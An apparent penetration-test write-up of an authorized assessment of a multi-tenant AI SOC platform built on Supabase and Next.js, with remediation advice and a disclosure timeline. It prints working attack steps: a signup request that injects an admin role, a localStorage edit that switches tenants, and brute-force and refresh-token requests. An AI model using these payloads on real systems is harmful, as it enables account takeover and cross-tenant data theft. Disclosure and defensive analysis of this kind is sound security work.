I Found 3 Critical Vulnerabilities in an AI-Powered SOC Platform — Full Attack Chain
Press enter or click to view image in full sizeDisclosure Notice: This assessment was conducted with 2026-6-16 06:48:56 Author: infosecwriteups.com(查看原文) 阅读量:9 收藏

Press enter or click to view image in full size

Disclosure Notice: This assessment was conducted with explicit written authorization from the platform’s development team. All sensitive details — including the target domain, company name, Supabase project identifiers, API keys, and credentials — have been redacted or anonymized in this write-up. This write-up is published strictly for educational purposes.

Background

A few weeks ago I was given authorization to perform a full black-box penetration test on an AI-powered Security Operations Center platform. The platform is a multi-tenant SaaS product — meaning dozens of enterprise organizations use the same system to manage their security alerts, incidents, phishing investigations, and threat intelligence. Each organization’s data is supposed to be completely isolated from the others.

The tech stack was modern: Next.js on the frontend, Supabase as the backend and authentication provider, deployed on Vercel. Clean, fast, well-designed on the surface.

What I found underneath was a chain of vulnerabilities that allowed me — starting from zero access — to create an admin account without any authorization, cross tenant boundaries at will, and access the complete security operations data of every organization on the platform. All of it. In under ten minutes.

This is the story of that assessment.

Scope & Rules of Engagement

Target: AI-powered multi-tenant SOC platform (anonymized)
Stack: Next.js, Supabase/PostgreSQL, Vercel
Assessment Type: Black-Box Web Application Penetration Test Authorization: Written — platform development team
Exclusions: Stored XSS (to avoid leaving persistent artifacts)
Tools: Burp Suite Professional, Browser DevTools

Phase 1: Reconnaissance

I started by browsing the application normally — no tools, just the browser. Within the first few minutes, the login page revealed something immediately interesting.

There was a Quick Demo Login button. Clicking it auto-filled the following credentials directly into the login form, visible to any unauthenticated visitor:

Email:    admin@[REDACTED].io
Password: Admin1234!

This alone was already a finding — hardcoded admin credentials served to the frontend and usable by anyone. I noted it and moved on. What came next was far more significant.

Opening the browser’s DevTools Network tab while navigating the authenticated dashboard, I noticed every request to the backend passed through a Supabase subdomain and included two consistent headers:

Apikey: sb_publishable_[REDACTED]
Authorization: Bearer [JWT]

The WebSocket connection for real-time updates also exposed the Supabase project reference and publishable API key in the connection URL. All of this was visible to any authenticated user — or anyone who knew where to look.

I noted the project reference, the API key, and the fact that the platform used Supabase Auth directly rather than a custom backend. This would matter later.

Phase 2: Attack Surface Mapping

Supabase exposes a PostgREST REST API that maps directly to PostgreSQL tables. With the API key in hand, I began testing which endpoints were accessible.

Using Burp Suite Repeater, I queried the Supabase REST API directly with only the publishable key:

GET /rest/v1/alerts?select=*&limit=1 HTTP/2
Host: [REDACTED].supabase.co
Apikey: sb_publishable_[REDACTED]
Authorization: Bearer sb_publishable_[REDACTED]

Most tables returned 401 Unauthorized or 403 Forbidden — Row Level Security was enabled and working for the core data tables.

But the authentication endpoint was a different story.

I also opened the application’s localStorage in DevTools. The platform stored the authenticated user’s complete session state under a single key:

{
"state": {
"user": {
"id": "0efd6cec-d8fd-4d1b-908e-9dfb97fa2220",
"username": "admin",
"email": "admin@[REDACTED].io",
"role": "soc_analyst",
"tenant_id": "t1",
"is_active": true,
"created_at": "2026-05-17T16:14:42.424987Z"
},
"isAuthenticated": true
}
}

The role and tenant_id — two fields that determine what a user can see and which organization's data they access — were sitting in plain JSON in the browser. Readable and writable by anyone with access to the page.

That was the moment the shape of the attack became clear.

Phase 3: Vulnerability Identification & Exploitation

V-01 — Privilege Escalation via User Registration [CRITICAL]

CWE-269 — Improper Privilege Management

Supabase’s /auth/v1/signup endpoint accepts an optional data field for custom user metadata. The intent is to store profile information like display names or preferences. The vulnerability arises when this metadata is used directly for authorization decisions — including role assignment — without any server-side validation.

I sent the following request in Burp Suite Repeater:

POST /auth/v1/signup HTTP/2
Host: [REDACTED].supabase.co
Content-Type: application/json
Apikey: sb_publishable_[REDACTED]
{
"email": "[email protected]",
"password": "Attack1234!",
"data": {
"role": "admin",
"tenant_id": "t1"
}
}

Response (HTTP 200 OK):

{
"access_token": "eyJhbGciOiJFUzI1NiIs...",
"token_type": "bearer",
"expires_in": 3600,
"refresh_token": "x27cfiqjc4je",
"user": {
"id": "50b9b621-05d5-4ffb-bf7d-ab91878ca1dd",
"email": "[email protected]",
"user_metadata": {
"role": "admin",
"tenant_id": "t1"
}
}
}

The account was created. The platform accepted role: "admin" exactly as supplied — no validation, no rejection, no server-side override. Logging in with [email protected] / Attack1234! granted immediate access to all administrative functionality, including the MSSP management panel that showed every tenant on the platform.

Why this happens: The application reads user_metadata.role from the Supabase JWT after login and uses that value to make UI and data access decisions. Because user_metadata is populated directly from the data field at signup without server-side validation, an attacker controls this value entirely.

Impact: Any unauthenticated person can create an account with full administrator privileges. The intended access control model is completely bypassed.

Remediation: Never use user_metadata for authorization-sensitive fields like role or tenant_id. These values must be set exclusively through server-side logic — a database trigger, a post-signup webhook, or an admin-controlled API — and must never be accepted as client-supplied input during registration.

V-02 — Tenant Isolation Bypass via Client-Side State Manipulation [CRITICAL]

CWE-639 — Authorization Bypass Through User-Controlled Key

As noted during reconnaissance, the active tenant context is stored in localStorage as a plain JSON object. The server does not independently verify tenant membership on each API request — it trusts whatever tenant_id the client presents.

Proof of Concept:

Step 1 — Read the current tenant from localStorage:

const auth = JSON.parse(localStorage.getItem('detech-auth'));
console.log("Current tenant:", auth.state.user.tenant_id);
// Output: "t1"

Step 2 — Change it to a different organization’s identifier:

auth.state.user.tenant_id = "t2";
localStorage.setItem('detech-auth', JSON.stringify(auth));
location.reload();

Step 3 — The dashboard now displays a completely different organization’s security data.

After reloading with tenant_id: "t2", the dashboard showed:

  • Employee names, roles, and behavioral risk scores belonging to another company
  • Internal server hostnames and IP addresses: DC-01 (10.0.1.10), FILESERVER01 (10.0.1.20), PORTAL-WEB-01 (10.0.2.10)
  • Active incident details: ransomware attack investigations, business email compromise cases, Kerberoasting detections
  • MITRE ATT&CK technique mappings from that organization’s alert history

None of this data belonged to the account being used.

Why this happens: The frontend uses tenant_id from localStorage to scope its data requests. The backend processes these requests based on the supplied value without checking whether the authenticated user is actually a member of the requested tenant. This is a broken object-level authorization pattern — the server trusts client-supplied context instead of enforcing it independently.

Impact: Any authenticated user can access the security data of any tenant on the platform by modifying a single value in their browser’s localStorage. In a production multi-tenant SOC environment, this means any analyst at any company could read the incident reports, server inventories, user risk profiles, and investigation notes of any other company on the platform.

Remediation: The tenant_id must never be stored on the client in a way that influences server-side data access. It must be embedded in the server-issued session or JWT and re-validated on every request against the authenticated user's actual database record. Client-supplied tenant context must be treated as untrusted input.

V-03 — Full MSSP Multi-Tenant Data Exposure [CRITICAL]

CWE-284 — Improper Access Control

Chaining V-01 and V-02 produces a complete compromise of every tenant on the platform.

Full Attack Chain:

Step 1 — Register as admin (V-01):

POST /auth/v1/signup HTTP/2
Host: [REDACTED].supabase.co
Content-Type: application/json
Apikey: sb_publishable_[REDACTED]
{
"email": "[email protected]",
"password": "Attack1234!",
"data": {
"role": "admin",
"tenant_id": "t1"
}
}

Step 2 — Log in with the attacker account. Navigate to the MSSP Management panel.

Get Shikhali Jamalzade’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

The panel immediately displays all managed organizations:

Acme Corp · Manufacturing · US · 124 alerts · 3 incidents · 8 analysts · Health: 94% TechStart Inc · Technology · CA · 45 alerts · 1 incident · 3 analysts · Health: 88% MegaBank · Finance · UK · 890 alerts · 12 incidents · 15 analysts · Health: 97% RetailCo · Retail · AU · 12 alerts · 0 incidents · 2 analysts · Health: 72% HealthShield · Healthcare · DE · 67 alerts · 2 incidents · 5 analysts · Health: 91% EnergyGrid Ltd · Energy/OT · US · 203 alerts · 5 incidents · 10 analysts · Health: 89% LogiTrans · — · — · — · — · — · —

Step 3 — Use V-02 to enter any organization’s internal dashboard:

const auth = JSON.parse(localStorage.getItem('detech-auth'));
auth.state.user.tenant_id = "t2";
localStorage.setItem('detech-auth', JSON.stringify(auth));
location.reload();

Full access to the selected organization’s alerts, incidents, user risk profiles, server inventory, playbooks, reports, and audit logs.

Total time from first visit to full multi-tenant access: under 10 minutes.

Impact: A complete multi-tenant data breach. An attacker with no prior relationship to the platform can read the confidential security operations data of every organization it serves. In regulated industries — finance, healthcare, critical infrastructure — this data is subject to strict legal protection.

Remediation: In addition to the fixes for V-01 and V-02, the MSSP panel must enforce that only verified super-admin accounts — provisioned through a secure, server-controlled process entirely separate from regular user registration — can access cross-tenant data.

V-04 — No Brute Force Protection on Authentication Endpoint [Medium]

The login endpoint does not implement rate limiting or account lockout. I sent 20 consecutive failed authentication attempts in Burp Suite Repeater without receiving a single 429 Too Many Requests response.

POST /auth/v1/token?grant_type=password HTTP/2
Host: [REDACTED].supabase.co
Content-Type: application/json
Apikey: sb_publishable_[REDACTED]
{
"email": "admin@[REDACTED].io",
"password": "wrongpassword"
}

Every attempt returned 400 Bad Request with "error_code": "invalid_credentials". No lockout. No delay. No detection.

Notably, the password reset endpoint (/auth/v1/recover) does enforce a rate limit — returning 429 after repeated requests within a short window. The inconsistency suggests rate limiting was considered but not applied to the primary authentication path.

Remediation: Implement rate limiting on all authentication endpoints. Return 429 after a configurable threshold of failed attempts. Consider progressive delays and account lockout with a secure unlock flow.

V-05 — Long-Lived Refresh Token Stored in Client-Accessible Storage [Medium]

The authentication API response includes the refresh token in the JSON body, and the application stores it in localStorage where any JavaScript running on the page can read it.

{
"access_token": "eyJhbGciOiJFUzI1NiIs...",
"refresh_token": "x27cfiqjc4je",
"expires_in": 3600
}

Returning a refresh token in the response body is standard OAuth2 behaviour. The risk here is specifically in what happens next: the application persists this token in localStorage with no expiry enforcement, and it can be used to generate a fresh access token indefinitely.

POST /auth/v1/token?grant_type=refresh_token HTTP/2
Host: [REDACTED].supabase.co
Content-Type: application/json
Apikey: sb_publishable_[REDACTED]
{
"refresh_token": "x27cfiqjc4je"
}

Response: HTTP 200 with a new fully valid access token. If any XSS vulnerability — present or future — is exploited, the attacker silently exfiltrates a credential that sustains persistent account access long after the original session would have expired.

Remediation: Refresh tokens should be stored exclusively in HttpOnly, Secure, SameSite=Strict cookies — inaccessible to JavaScript. Implement short absolute expiry windows and monitor for anomalous refresh patterns.

V-06 — Sensitive Authentication State in localStorage [Medium]

The application stores the complete user object — including id, email, role, tenant_id, and created_at — in localStorage in plaintext. This data is used by the frontend to make authorization decisions.

localStorage is accessible to any JavaScript running on the page. This is the direct technical enabler of V-02: changing tenant_id is possible precisely because this object lives in JavaScript-accessible storage. It also means that any XSS vulnerability would allow silent exfiltration of the entire session context.

Remediation: Authorization-relevant state must never live on the client. Session management must be server-side. The client should hold only an opaque session token in an HttpOnly cookie.

V-07 — Database Table Names Disclosed via Error Hints [Low]

Querying a non-existent table name via the Supabase REST API returns a hint field in the error response that suggests real table names from the database schema:

GET /rest/v1/users?select=* HTTP/2
Host: [REDACTED].supabase.co
Apikey: sb_publishable_[REDACTED]
Authorization: Bearer [JWT]
{
"code": "PGRST205",
"hint": "Perhaps you meant the table 'public.alerts'",
"message": "Could not find the table 'public.users' in the schema cache"
}

The server confirmed the existence of public.alerts in the database schema without any special privilege.

Remediation: Return generic error messages for all client-facing API errors. Log detailed schema information server-side only.

V-08 — Admin Credentials Exposed in Login UI [Low]

The login page included a Quick Demo Login button that auto-filled the following credentials directly into the form fields, visible to any unauthenticated visitor:

Email:    admin@[REDACTED].io
Password: Admin1234!

These were real, functional credentials for an account with administrative access. Any person who visited the login page could use them without any further action.

Remediation: Demo credentials must never be hardcoded in frontend UI components. If a demo mode is required, provision a dedicated sandbox environment with isolated data and credentials that are not shared with the production application.

The Complete Attack Chain

[No access — any person with an internet connection]


[1] Visit the login page
→ Admin credentials visible in the UI (V-08)
admin@[REDACTED].io / Admin1234!


[2] Register as admin via Supabase signup API (V-01)
POST /auth/v1/signup
{"role": "admin", "tenant_id": "t1"}
→ HTTP 200: Admin account created


[3] Log in as [email protected]
→ Full dashboard access
→ MSSP panel shows 7 organizations (V-03)


[4] Manipulate tenant_id in localStorage (V-02)
auth.state.user.tenant_id = "t2"
location.reload()
→ Full access to Organization 2's internal data

[Repeat for any tenant_id]


[Complete access to all tenant data — 7 organizations]
· Employee names, roles, behavioral risk scores
· Internal server hostnames and IP addresses
· Active security incidents and investigation notes
· MITRE ATT&CK technique mappings
· Compliance audit reports
· Full audit log history
TOTAL TIME: under 10 minutes

The “Impossible” Part

The most striking aspect of this assessment was not any individual vulnerability. It was the gap between what the platform appeared to offer — enterprise-grade, multi-tenant, SOC-level security tooling — and what was actually enforced under the surface.

The MSSP panel had a polished UI showing health scores, incident counts, and analyst team sizes across seven organizations. It looked exactly like production security infrastructure. Behind it, the entire tenant boundary was a single string in localStorage that any user could overwrite in under five seconds.

That is not a subtle architectural flaw. It is the front door left open.

Remediation Priority Roadmap

Immediate — 24 hours

1 · V-01 · Privilege Escalation via Signup Remove role and tenant_id from the Supabase signup data field entirely. Assign roles and tenant membership through server-side logic only — a database trigger or a post-signup webhook. Never trust client-supplied metadata for authorization decisions.

2 · V-02 · Tenant Isolation Bypass Move tenant_id out of localStorage and into the server-issued session. Validate the authenticated user's actual tenant membership on every API request against the database — never against a client-supplied value.

3 · V-03 · Full MSSP Data Exposure Enforce super-admin as a separate, server-controlled permission tier provisioned entirely outside the regular registration flow. Tenant-level and platform-admin-level access must be independently enforced at the query layer, not the UI layer.

High — 1 week

4 · V-04 · No Brute Force Protection Implement rate limiting and account lockout on all authentication endpoints — not only the password reset path. Return 429 after a configurable failed attempt threshold.

5 · V-05 · Long-Lived Refresh Token in Client-Accessible Storage Store refresh tokens exclusively in HttpOnly, Secure, SameSite=Strict cookies. Enforce short absolute expiry windows and monitor for anomalous token refresh patterns.

6 · V-06 · Sensitive State in localStorage Replace client-side authorization state with server-side session management. The client should hold only an opaque token in an HttpOnly cookie — never a JSON object containing role, tenant, or user metadata.

Low — 1 month

7 · V-07 · Schema Disclosure via Error Hints Return generic error messages for all client-facing API errors. Log schema detail server-side only.

8 · V-08 · Admin Credentials Exposed in UI Remove hardcoded credentials from any frontend component. Provision a dedicated sandbox environment for demo purposes, completely isolated from production data.

Key Takeaways for Developers

1. Never trust client-supplied role or tenant values. Any data the client can read, the client can modify. If your authorization logic depends on a value stored in localStorage or in a cookie the client can write, that value is untrusted input — regardless of what it currently says. Roles and tenant memberships must be enforced server-side, derived from the authenticated user’s actual database record on every request.

2. Supabase user_metadata is not a safe place for authorization data. The data field in Supabase's signup endpoint writes directly to user_metadata. This is designed for non-sensitive profile information. If your application reads user_metadata.role to make access decisions, you have handed every user the ability to set their own role. Use database triggers, post-signup functions, or an admin API to assign roles after account creation — never during it.

3. Multi-tenant isolation must be enforced at the query level, not the UI level. Hiding a panel in the frontend is not access control. If switching a value in localStorage reveals another tenant’s data, the server is not enforcing tenant scope. Every database query in a multi-tenant system must include a server-side tenant filter derived from the authenticated session, not from client input.

4. Treat the client as an adversary, not a partner. Modern SaaS architectures — Next.js, Supabase, Vercel — are excellent tools. But their convenience can create a false sense that the framework handles security. It does not. The framework gives you the tools. You have to use them correctly. Assume every value the client sends has been tampered with. Validate everything server-side. Authorize on the server. Log on the server.

Responsible Disclosure Timeline

May 19, 2026 — Assessment conducted with full written authorization
May 19, 2026 — Findings documented and reported to the development team
May 2026 — Write-up published after internal review and redaction

Final Thoughts

None of the vulnerabilities found here required advanced exploitation techniques. The most complex step in the entire chain was sending a POST request with an extra JSON field. Everything else was reading localStorage and pressing F5.

What makes this assessment worth writing about is the architecture it reveals. These are not obscure edge cases — they are the natural consequence of building authorization logic on the client side. When you store role and tenant_id in the browser and trust them on the server, you have not built access control. You have built the appearance of access control.

The fix for V-01 is removing two fields from a JSON object. The fix for V-02 is reading tenant_id from the session instead of from the request. Neither requires significant refactoring. The barrier to fixing these is low. In a platform that holds enterprise security data across multiple organizations, the cost of not fixing them is everything.

All testing was conducted on an authorized target with full written permission. Never test systems you do not own or have explicit authorization to test.

If this was useful, connect on LinkedIn or check out my tools on GitHub.


文章来源: https://infosecwriteups.com/i-found-3-critical-vulnerabilities-in-an-ai-powered-soc-platform-full-attack-chain-e37a5733002e?source=rss----7b722bfd1b8d--bug_bounty
如有侵权请联系:admin#unsafe.sh